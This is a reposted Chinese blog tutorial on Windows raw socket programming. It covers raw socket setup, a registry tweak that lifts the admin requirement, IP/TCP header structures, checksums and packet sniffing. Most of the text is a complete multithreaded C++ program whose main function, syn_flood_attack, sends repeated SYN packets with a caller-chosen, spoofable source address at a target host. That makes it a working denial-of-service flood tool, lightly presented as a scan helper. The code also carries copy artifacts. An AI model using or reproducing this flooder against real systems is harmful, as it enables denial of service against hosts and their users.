raw socket 编程

（转）raw socket 编程

Microsoft TCP/IP 组件包含“核心协议”、“服务”及两者之间的“接口”。传输驱动程序接口 (TDI) 与网络设备接口规范 (NDIS) 是公用的。 此外，还有许多用户模型应用程序的更高级接口。最常用的接口是 Windows Sockets、远程过程调用 (RPC) 和 NetBIOS。

Windows Sockets 是一个编程接口，它是在加州大学伯克利分校开发的套接字接口的基础上定义的。它包括了一组扩展件，以充分利用 Microsoft Windows 消息驱动的特点。规范的 1.1 版是在 1993 年 1 月发行的，2.2.0 版在 1996 年 5 月发行。Windows 2000 支持 Winsock 2.2 版。在Winsock2中，支持多个传输协议的原始套接字，重叠I/O模型、服务质量控制等。

这 里介绍Windows Sockets的一些关于原始套接字(Raw Socket)的编程。同Winsock1相比，最明显的就是支持了Raw Socket套接字类型，通过原始套接字，我们可以更加自如地控制Windows下的多种协议，而且能够对网络底层的传输机制进行控制。

1、创建一个原始套接字，并设置IP头选项。

SOCKET sock;
sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP);
或者：
s = WSASoccket(AF_INET,SOCK_RAW,IPPROTO_IP,NULL,0,WSA_FLAG_OVERLAPPED);

这 里，我们设置了SOCK_RAW标志，表示我们声明的是一个原始套接字类型。创建原始套接字后，IP头就会包含在接收的数据中，如果我们设定 IP_HDRINCL 选项，那么，就需要自己来构造IP头。注意，如果设置IP_HDRINCL 选项，那么必须具有 administrator权限，要不就必须修改注册表：
HKEY_LOCAL_MacHINE/System/CurrentControlSet/Services/Afd/Parameter/
修改键：DisableRawSecurity（类型为DWord），把值修改为 1。如果没有，就添加。

BOOL blnFlag=TRUE;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&blnFlag, sizeof(blnFlag);

对于原始套接字在接收数据报的时候，要注意这么几点：
1、如果接收的数据报中协议类型和定义的原始套接字匹配，那么，接收的所有数据就拷贝到套接字中。
2、如果绑定了本地地址，那么只有接收数据IP头中对应的远端地址匹配，接收的数据就拷贝到套接字中。
3、如果定义的是外部地址，比如使用connect()，那么，只有接收数据IP头中对应的源地址匹配，接收的数据就拷贝到套接字中。

2、构造IP头和TCP头

这里，提供IP头和TCP头的结构：

// Standard TCP flags
#define URG 0x20
#define ACK 0x10
#define PSH 0x08
#define RST 0x04
#define SYN 0x02
#define FIN 0x01
typedef struct _iphdr //定义IP首部
{
unsigned char h_lenver; //4位首部长度+4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;

typedef struct psd_hdr //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSD_HEADER;

typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;

TCP伪首部并不是真正存在的，只是用于计算检验和。校验和函数：

USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

当需要自己填充IP头部和TCP头部的时候，就同时需要自己计算他们的检验和。
3、发送原始套接字数据报

填充这些头部稍微麻烦点，发送就相对简单多了。只需要使用sendto()就OK。

sendto(sock, (char*)&tcpHeader, sizeof(tcpHeader), 0, (sockaddr*)&addr_in,sizeof(addr_in));

下面是一个示例程序，可以作为SYN扫描的一部分。

发送:

//  fistippacket.cpp : 定义控制台应用程序的入口点。
//

#include  " stdafx.h "
#include  < winsock2.h >
#include  < ws2tcpip.h >  
#include  < windows.h >

// What new functionality is added to this feature in Windows XP Service Pack 2?
// Restricted traffic over raw sockets
// Detailed description 
//
// A very small number of Windows applications make use of raw IP sockets, which provide an industry-standard way for applications to create TCP/IP packets with fewer integrity and security checks by the TCP/IP stack. The Windows implementation of TCP/IP still supports receiving traffic on raw IP sockets. However, the ability to send traffic over raw sockets has been restricted in two ways:
//
// TCP data cannot be sent over raw sockets.
//
// UDP datagrams with invalid source addresses cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. 
//
// Why is this change important? What threats does it help mitigate? 
//
// This change limits the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets, which are TCP/IP packets with a forged source IP address.
//
// Regards,
//
// Nelson.
//


static  unsigned  int  s_sendount  = 1000 ;
static   char  s_destip[ 100 ] = "" ;
static   int     s_destport    = 0 ;
static   char  s_srcip[ 100 ]  = "" ;
static   int     s_srcport     = 0 ;

#define  SOURCE_PORT 7234 
#define  MAX_RECEIVEBYTE 255 
#pragma  pack(push,1)
typedef  struct  ip_hdr  // 定义IP首部 
... { 
    unsigned char h_verlen; //4位首部长度,4位IP版本号 
    unsigned char tos; //8位服务类型TOS 
    unsigned short total_len; //16位总长度（字节） 
    unsigned short ident; //16位标识 
    unsigned short frag_and_flags; //3位标志位 
    unsigned char ttl; //8位生存时间 TTL 
    unsigned char proto; //8位协议 (TCP, UDP 或其他) 
    unsigned short checksum; //16位IP首部校验和 
    unsigned int sourceIP; //32位源IP地址 
    unsigned int destIP; //32位目的IP地址 
} IPHEADER; 

typedef  struct  tsd_hdr  // 定义TCP伪首部 
... { 
    unsigned long saddr; //源地址 
    unsigned long daddr; //目的地址 
    char mbz; 
    char ptcl; //协议类型 
    unsigned short tcpl; //TCP长度 
} PSDHEADER; 

typedef  struct  tcp_hdr  // 定义TCP首部 
... { 
    USHORT th_sport; //16位源端口 
    USHORT th_dport; //16位目的端口 
    unsigned int th_seq; //32位序列号 
    unsigned int th_ack; //32位确认号 
    unsigned char th_lenres; //4位首部长度/6位保留字 
    unsigned char th_flag; //6位标志位 
    USHORT th_win; //16位窗口大小 
    USHORT th_sum; //16位校验和 
    USHORT th_urp; //16位紧急数据偏移量 
} TCPHEADER; 

#pragma  pack(pop)

// CheckSum:计算校验和的子函数 
USHORT checksum(USHORT  * buffer,  int  size) 
... { 
    unsigned long cksum=0; 
    while(size >1) 
    ...{ 
        cksum+=*buffer++; 
        size -=sizeof(USHORT); 
    } 
    if(size ) 
    ...{ 
        cksum += *(UCHAR*)buffer; 
    } 

    cksum = (cksum >> 16) + (cksum & 0xffff); 
    cksum += (cksum >>16); 
    return (USHORT)(~cksum); 
}  

void  useage() 
... { 
    printf("****************************************** "); 
    printf("TCPPing "); 
    printf("Useage: TCPPing.exe Target_ip Target_port Source_ip source_port sendcount threadnum "); 
    printf("******************************************* "); 
}  


int  syn_flood_attack( const   char *  destip,  int  destport,  const   char   *  srcip,  int  srcport)
... {
    SOCKET sock; 
    SOCKADDR_IN addr_in; 
    IPHEADER ipHeader; 
    TCPHEADER tcpHeader; 
    PSDHEADER psdHeader; 

    char szSendBuf[60]=...{0}; 
    BOOL flag; 
    int rect,nTimeOver; 
    if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 
    //if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))==INVALID_SOCKET)
    ...{ 
        printf("Socket Setup Error! "); 
        return false; 
    } 
    flag=true; 
    if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) 
    ...{ 
        printf("setsockopt IP_HDRINCL error! "); 
        return false; 
    } 

    nTimeOver=1000; 
    if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) 
    ...{ 
        printf("setsockopt SO_SNDTIMEO error! "); 
        return false; 
    } 
    addr_in.sin_family=AF_INET; 
    addr_in.sin_port=htons(destport);  //目标端口
    addr_in.sin_addr.S_un.S_addr=inet_addr(destip); //目标IP

    // 
    //填充IP首部 
    //
    ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 

    // ipHeader.tos=0; 
    ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); 
    ipHeader.ident=1; 
    ipHeader.frag_and_flags=0; 
    ipHeader.ttl=128; 
    ipHeader.proto=IPPROTO_TCP; 
    ipHeader.checksum=0; 
    ipHeader.sourceIP=inet_addr(srcip); //src ip
    ipHeader.destIP=inet_addr(destip); //dest ip

    //填充TCP首部 
    tcpHeader.th_dport=htons(destport);  //目标端口
    tcpHeader.th_sport=htons(srcport); //源端口号 
    tcpHeader.th_seq=htonl(0x12345678); 
    tcpHeader.th_ack=0; 
    tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
    tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测，2是SYN，1是FIN，16是ACK探测 等等 
    tcpHeader.th_win=htons(512); 
    tcpHeader.th_urp=0; 
    tcpHeader.th_sum=0; 

    psdHeader.saddr=ipHeader.sourceIP; 
    psdHeader.daddr=ipHeader.destIP; 
    psdHeader.mbz=0; 
    psdHeader.ptcl=IPPROTO_TCP; 
    psdHeader.tcpl=htons(sizeof(tcpHeader)); 

    //计算校验和 
    memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
    memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
    tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); 

    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 
    memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 
    memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); 
    ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); 

    memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 


    for(DWORD i=0;i<s_sendount;i++)
    ...{
        rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 
            0, (struct sockaddr*)&addr_in, sizeof(addr_in)); 
        if (rect==SOCKET_ERROR) 
        ...{ 
            printf("send error!:%d ",WSAGetLastError()); 
            return FALSE; 
        } 
        else 
            printf("send ok! %d ",rect); 
    }

    closesocket(sock); 

    return 0;
}


 DWORD WINAPI WORKER_THREAD(
    LPVOID lpThreadParameter
    )
  ... {
     return syn_flood_attack(s_destip,s_destport,s_srcip,s_srcport);
 }

int  _tmain( int  argc, _TCHAR *  argv[])
... {
    
    
    WSADATA WSAData; 
    
    
    

    if (argc!= 7) 
    ...{ 
        useage(); 
        return false; 
    } 

    if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) 
    ...{ 
        printf("WSAStartup Error! "); 
        return false; 
    } 
    
    int i = atoi(argv[5]);
    memcpy(&s_sendount,&i,sizeof(i));
    int tn = atoi(argv[6]);
    strncpy(s_destip,argv[1],99);
    s_destport =  atoi(argv[2]);
    strncpy(s_srcip,argv[3],99);
    s_srcport =  atoi(argv[4]);
    
    HANDLE *ths = new HANDLE[tn];

    for(i=0;i<tn;i++)
    ...{
        ths[i]=CreateThread(0,0,WORKER_THREAD,NULL,0,NULL);
    }

    for(i=0;i<tn;i++)
    ...{
        WaitForSingleObject(ths[i],INFINITE);
        CloseHandle(ths[i]);
    }

    WSACleanup(); 

    return 0; 
}

 

4、接收数据
和 发送原始套接字数据相比，接收就比较麻烦了。因为在WIN我们不能用recv()来接收raw socket上的数据，这是因为，所有的IP包都是先递交给系统核心，然后再传输到用户程序，当发送一个raws socket包的时候（比如syn），核心并不知道，也没有这个数据被发送或者连接建立的记录，因此，当远端主机回应的时候，系统核心就把这些包都全部丢 掉，从而到不了应用程序上。所以，就不能简单地使用接收函数来接收这些数据报。

要达到接收数据的目的，就必须采用嗅探，接收所有通过的数据包，然后进行筛选，留下符合我们需要的。可以再定义一个原始套接字，用来完成接收数据的任务，需要设置SIO_RCVALL，表示接收所有的数据。

SOCKET sniffersock;
sniffsock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED);

DWORD lpvBuffer = 1;
DWORD lpcbBytesReturned = 0 ;
WSAIoctl(sniffersock, SIO_RCVALL, &lpvBuffer, sizeof(lpvBuffer), NULL, 0, & lpcbBytesReturned, NULL, NULL);

创建一个用于接收数据的原始套接字，我们可以用接收函数来接收数据包了。然后在使用一个过滤函数达到筛选的目的，接收我们需要的数据包。